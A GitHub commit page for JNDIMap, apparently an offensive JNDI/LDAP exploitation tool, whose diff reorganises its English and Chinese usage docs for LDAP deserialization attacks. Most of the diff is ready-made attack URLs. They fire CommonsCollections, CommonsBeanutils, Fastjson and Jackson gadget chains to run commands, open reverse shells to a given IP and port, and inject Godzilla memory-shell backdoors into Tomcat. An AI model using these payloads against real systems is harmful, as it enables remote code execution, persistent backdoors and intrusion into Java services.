Skip to content

Commit 3b72859

Browse files
committed
docs: 优化 USAGE LDAP 反序列化文档
优化 USAGE 中反序列化部分的文档
1 parent 8e2f74e commit 3b72859

File tree

5 files changed

+97
-55
lines changed

5 files changed

+97
-55
lines changed

README.en.md

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -78,6 +78,11 @@ ldap://10.0.0.1:1389/Basic/ReverseShell/10.0.0.1/1337
7878
- [Derby Master-Slave Replication Deserialization RCE](USAGE.en.md#derby-master-slave-replication-deserialization-rce)
7979
- [Tomcat Blind XXE](USAGE.en.md#tomcat-blind-xxe)
8080
- [LDAP Deserialization](USAGE.en.md#ldap-deserialization)
81+
- [Custom Data Deserialization](USAGE.en.md#custom-data-deserialization)
82+
- [CommonsCollections](USAGE.en.md#commonscollections)
83+
- [CommonsBeanutils](USAGE.en.md#commonsbeanutils)
84+
- [Fastjson](USAGE.en.md#fastjson)
85+
- [Jackson](USAGE.en.md#jackson)
8186
- [Script](USAGE.en.md#script)
8287
- [Advanced Techniques](USAGE.en.md#advanced-techniques)
8388
- [Use Reference Only](USAGE.en.md#use-reference-only)

README.md

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -78,6 +78,11 @@ ldap://10.0.0.1:1389/Basic/ReverseShell/10.0.0.1/1337
7878
- [Derby 主从复制反序列化 RCE](USAGE.md#derby-主从复制反序列化-rce)
7979
- [Tomcat Blind XXE](USAGE.md#tomcat-blind-xxe)
8080
- [LDAP Deserialization](USAGE.md#ldap-deserialization)
81+
- [自定义数据反序列化](USAGE.md#自定义数据反序列化)
82+
- [CommonsCollections](USAGE.md#commonscollections)
83+
- [CommonsBeanutils](USAGE.md#commonsbeanutils)
84+
- [Fastjson](USAGE.md#fastjson)
85+
- [Jackson](USAGE.md#jackson)
8186
- [Script](USAGE.md#script)
8287
- [高级技巧](USAGE.md#高级技巧)
8388
- [Use Reference Only](USAGE.md#use-reference-only)

USAGE.en.md

Lines changed: 42 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -503,39 +503,47 @@ Supports Java deserialization via LDAP and LDAP protocols (RMI protocol is not s
503503
JNDIMap has built-in the following gadgets, and also supports custom data deserialization
504504

505505
- CommonsCollections K1-K4
506-
- CommonsBeanutils183
507-
- CommonsBeanutils194
508-
- Fastjson1 (1.2.x)
509-
- Fastjson2 (2.0.x)
506+
- CommonsBeanutils 183, 194
507+
- Fastjson1 (1.2.x), Fastjson2 (2.0.x)
510508
- Jackson
511509

512-
```bash
513-
# custom data deserialization
510+
### Custom Data Deserialization
514511

512+
```bash
515513
# load via URL parameters
516514
ldap://127.0.0.1:1389/Deserialize/FromUrl/<base64-url-encoded-serialized-data>
517515
# load from the server running JNDIMap
518516
ldap://127.0.0.1:1389/Deserialize/FromFile/payload.ser # the path is relative to the current directory
519517
ldap://127.0.0.1:1389/Deserialize/FromFile/<base64-url-encoded-path-to-serialized-data>
518+
```
519+
520+
### CommonsCollections
521+
522+
Based on versions 3.1 and 4.0, and whether they depend on TemplatesImpl, they are divided into four versions: K1-K4
520523

521-
# CommonsCollectionsK1 deserialization (3.1 + TemplatesImpl), supports command execution, reverse shell and memshell injection
524+
```bash
525+
# CommonsCollectionsK1 (3.1 + TemplatesImpl), supports command execution, reverse shell and memshell injection
522526
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK1/Command/open -a Calculator
523527
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK1/ReverseShell/127.0.0.1/4444
524528
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK1/MemShell/Tomcat/Godzilla/Filter
525529

526-
# CommonsCollectionsK2 deserialization (4.0 + TemplatesImpl), same as above
530+
# CommonsCollectionsK2 (4.0 + TemplatesImpl), same as above
527531
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK2/Command/open -a Calculator
528532

529-
# CommonsCollectionsK3 deserialization (3.1 + Runtime.exec), only supports command execution
533+
# CommonsCollectionsK3 (3.1 + Runtime.exec), only supports command execution
530534
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK3/Command/open -a Calculator
531535

532-
# CommonsCollectionsK4 deserialization (4.0 + Runtime.exec), same as above
536+
# CommonsCollectionsK4 (4.0 + Runtime.exec), same as above
533537
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK4/Command/open -a Calculator
538+
```
539+
540+
### CommonsBeanutils
534541

535-
# CommonsBeanutils deserialization
536-
# No need for commons-collections dependency, use TemplatesImpl, support command execution, reverse shell and memshell injection
537-
# According to the different serialVersionUID of BeanComparator, it is divided into two versions: 1.8.3 and 1.9.4
542+
No need for commons-collections dependency, use TemplatesImpl
538543

544+
According to the different serialVersionUID of BeanComparator, it is divided into two versions: 1.8.3 and 1.9.4
545+
546+
```bash
539547
# 1.8.3
540548
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils183/Command/open -a Calculator
541549
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils183/ReverseShell/127.0.0.1/4444
@@ -545,10 +553,29 @@ ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils183/MemShell/Tomcat/Godzilla/F
545553
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils194/Command/open -a Calculator
546554
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils194/ReverseShell/127.0.0.1/4444
547555
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils194/MemShell/Tomcat/Godzilla/Filter
556+
```
557+
558+
### Fastjson
559+
560+
It comes in two versions: 1.2.x and 2.0.x
561+
562+
```bash
563+
# Fastjson1: all versions (1.2.x)
564+
ldap://127.0.0.1:1389/Deserialize/Fastjson1/Command/open -a Calculator
565+
ldap://127.0.0.1:1389/Deserialize/Fastjson1/ReverseShell/127.0.0.1/4444
566+
ldap://127.0.0.1:1389/Deserialize/Fastjson1/MemShell/Tomcat/Godzilla/Filter
548567

549-
# Jackson deserialization
550-
# Use JdkDynamicAopProxy to optimize instability issues, need spring-aop dependency
568+
# Fastjson2: <= 2.0.26
569+
ldap://127.0.0.1:1389/Deserialize/Fastjson2/Command/open -a Calculator
570+
ldap://127.0.0.1:1389/Deserialize/Fastjson2/ReverseShell/127.0.0.1/4444
571+
ldap://127.0.0.1:1389/Deserialize/Fastjson2/MemShell/Tomcat/Godzilla/Filter
572+
```
551573

574+
### Jackson
575+
576+
Use JdkDynamicAopProxy to optimize instability issues, need spring-aop dependency
577+
578+
```bash
552579
# for JDK 8
553580
ldap://127.0.0.1:1389/Deserialize/Jackson/Command/open -a Calculator
554581
ldap://127.0.0.1:1389/Deserialize/Jackson/ReverseShell/127.0.0.1/4444
@@ -566,18 +593,6 @@ ldap://127.0.0.1:1389/Deserialize/Jackson17A/MemShell/Tomcat/Godzilla/Filter
566593
ldap://127.0.0.1:1389/Deserialize/Jackson17B/Command/open -a Calculator
567594
ldap://127.0.0.1:1389/Deserialize/Jackson17B/ReverseShell/127.0.0.1/4444
568595
ldap://127.0.0.1:1389/Deserialize/Jackson17B/MemShell/Tomcat/Godzilla/Filter
569-
570-
# Fastjson deserialization
571-
572-
# Fastjson1: all versions (1.2.x)
573-
ldap://127.0.0.1:1389/Deserialize/Fastjson1/Command/open -a Calculator
574-
ldap://127.0.0.1:1389/Deserialize/Fastjson1/ReverseShell/127.0.0.1/4444
575-
ldap://127.0.0.1:1389/Deserialize/Fastjson1/MemShell/Tomcat/Godzilla/Filter
576-
577-
# Fastjson2: <= 2.0.26
578-
ldap://127.0.0.1:1389/Deserialize/Fastjson2/Command/open -a Calculator
579-
ldap://127.0.0.1:1389/Deserialize/Fastjson2/ReverseShell/127.0.0.1/4444
580-
ldap://127.0.0.1:1389/Deserialize/Fastjson2/MemShell/Tomcat/Godzilla/Filter
581596
```
582597

583598
## Script

USAGE.md

Lines changed: 44 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -496,46 +496,55 @@ ldap://127.0.0.1:1389/TomcatXXE/<base64-url-encoded-path>
496496
[HTTP] Receive request: /V4J4ZH1P?content=helloworld
497497
```
498498

499-
### LDAP Deserialization
499+
## LDAP Deserialization
500500

501501
通过 LDAP、LDAPS 协议触发 Java 反序列化, 不支持 RMI 协议
502502

503503
JNDIMap 内置以下利用链, 同时也支持反序列化自定义数据
504504

505505
- CommonsCollections K1-K4
506-
- CommonsBeanutils183
507-
- CommonsBeanutils194
508-
- Fastjson1 (1.2.x)
509-
- Fastjson2 (2.0.x)
506+
- CommonsBeanutils 183、194
507+
- Fastjson1 (1.2.x)、Fastjson2 (2.0.x)
510508
- Jackson
511509

512-
```bash
513-
# 自定义数据反序列化
510+
### 自定义数据反序列化
514511

512+
```bash
515513
# URL 传参加载
516514
ldap://127.0.0.1:1389/Deserialize/FromUrl/<base64-url-encoded-serialize-data>
515+
517516
# 从运行 JNDIMap 的服务器上加载
518517
ldap://127.0.0.1:1389/Deserialize/FromFile/payload.ser # 相对于当前路径
519518
ldap://127.0.0.1:1389/Deserialize/FromFile/<base64-url-encoded-path-to-serialized-data>
519+
```
520+
521+
### CommonsCollections
520522

521-
# CommonsCollectionsK1 反序列化 (3.1 + TemplatesImpl), 支持命令执行, 反弹 Shell, 内存马注入
523+
按照 3.1、4.0 和是否依赖 TemplatesImpl, 分为 K1-K4 四个版本
524+
525+
```bash
526+
# CommonsCollectionsK1 (3.1 + TemplatesImpl), 支持命令执行, 反弹 Shell, 内存马注入
522527
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK1/Command/open -a Calculator
523528
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK1/ReverseShell/127.0.0.1/4444
524529
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK1/MemShell/Tomcat/Godzilla/Filter
525530
526-
# CommonsCollectionsK2 反序列化 (4.0 + TemplatesImpl), 功能同上
531+
# CommonsCollectionsK2 (4.0 + TemplatesImpl), 功能同上
527532
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK2/Command/open -a Calculator
528533
529-
# CommonsCollectionsK3 反序列化 (3.1 + Runtime.exec), 仅支持命令执行
534+
# CommonsCollectionsK3 (3.1 + Runtime.exec), 仅支持命令执行
530535
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK3/Command/open -a Calculator
531536
532-
# CommonsCollectionsK4 反序列化 (4.0 + Runtime.exec), 功能同上
537+
# CommonsCollectionsK4 (4.0 + Runtime.exec), 功能同上
533538
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK4/Command/open -a Calculator
539+
```
540+
541+
### CommonsBeanutils
542+
543+
无需 commons-collections 依赖, 使用 TemplatesImpl
534544

535-
# CommonsBeanutils 反序列化
536-
# 无需 commons-collections 依赖, 使用 TemplatesImpl, 支持命令执行, 反弹 Shell, 内存马注入
537-
# 根据 BeanComparator serialVersionUID 不同, 分为两个版本: 1.8.3 和 1.9.4
545+
根据 BeanComparator serialVersionUID 的不同, 分为两个版本: 1.8.3 和 1.9.4
538546

547+
```bash
539548
# 1.8.3
540549
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils183/Command/open -a Calculator
541550
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils183/ReverseShell/127.0.0.1/4444
@@ -545,10 +554,29 @@ ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils183/MemShell/Tomcat/Godzilla/F
545554
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils194/Command/open -a Calculator
546555
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils194/ReverseShell/127.0.0.1/4444
547556
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils194/MemShell/Tomcat/Godzilla/Filter
557+
```
558+
559+
### Fastjson
548560

549-
# Jackson 反序列化
550-
# 使用 JdkDynamicAopProxy 优化不稳定性问题, 需要 spring-aop 依赖
561+
分为 1.2.x 和 2.0.x 两个版本
562+
563+
```bash
564+
# Fastjson1: 全版本 (1.2.x)
565+
ldap://127.0.0.1:1389/Deserialize/Fastjson1/Command/open -a Calculator
566+
ldap://127.0.0.1:1389/Deserialize/Fastjson1/ReverseShell/127.0.0.1/4444
567+
ldap://127.0.0.1:1389/Deserialize/Fastjson1/MemShell/Tomcat/Godzilla/Filter
551568
569+
# Fastjson2: <= 2.0.26
570+
ldap://127.0.0.1:1389/Deserialize/Fastjson2/Command/open -a Calculator
571+
ldap://127.0.0.1:1389/Deserialize/Fastjson2/ReverseShell/127.0.0.1/4444
572+
ldap://127.0.0.1:1389/Deserialize/Fastjson2/MemShell/Tomcat/Godzilla/Filter
573+
```
574+
575+
### Jackson
576+
577+
使用 JdkDynamicAopProxy 优化不稳定性问题, 需要 spring-aop 依赖
578+
579+
```bash
552580
# 适用于 JDK 8
553581
ldap://127.0.0.1:1389/Deserialize/Jackson/Command/open -a Calculator
554582
ldap://127.0.0.1:1389/Deserialize/Jackson/ReverseShell/127.0.0.1/4444
@@ -566,18 +594,6 @@ ldap://127.0.0.1:1389/Deserialize/Jackson17A/MemShell/Tomcat/Godzilla/Filter
566594
ldap://127.0.0.1:1389/Deserialize/Jackson17B/Command/open -a Calculator
567595
ldap://127.0.0.1:1389/Deserialize/Jackson17B/ReverseShell/127.0.0.1/4444
568596
ldap://127.0.0.1:1389/Deserialize/Jackson17B/MemShell/Tomcat/Godzilla/Filter
569-
570-
# Fastjson 反序列化
571-
572-
# Fastjson1: 全版本 (1.2.x)
573-
ldap://127.0.0.1:1389/Deserialize/Fastjson1/Command/open -a Calculator
574-
ldap://127.0.0.1:1389/Deserialize/Fastjson1/ReverseShell/127.0.0.1/4444
575-
ldap://127.0.0.1:1389/Deserialize/Fastjson1/MemShell/Tomcat/Godzilla/Filter
576-
577-
# Fastjson2: <= 2.0.26
578-
ldap://127.0.0.1:1389/Deserialize/Fastjson2/Command/open -a Calculator
579-
ldap://127.0.0.1:1389/Deserialize/Fastjson2/ReverseShell/127.0.0.1/4444
580-
ldap://127.0.0.1:1389/Deserialize/Fastjson2/MemShell/Tomcat/Godzilla/Filter
581597
```
582598

583599
## Script

src/main/java/map/jndi/Dispatcher.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -91,6 +91,7 @@ public Object service(String path) {
9191
}
9292
}
9393
}
94+
9495
return null;
9596
}
9697
}

0 commit comments

Comments
 (0)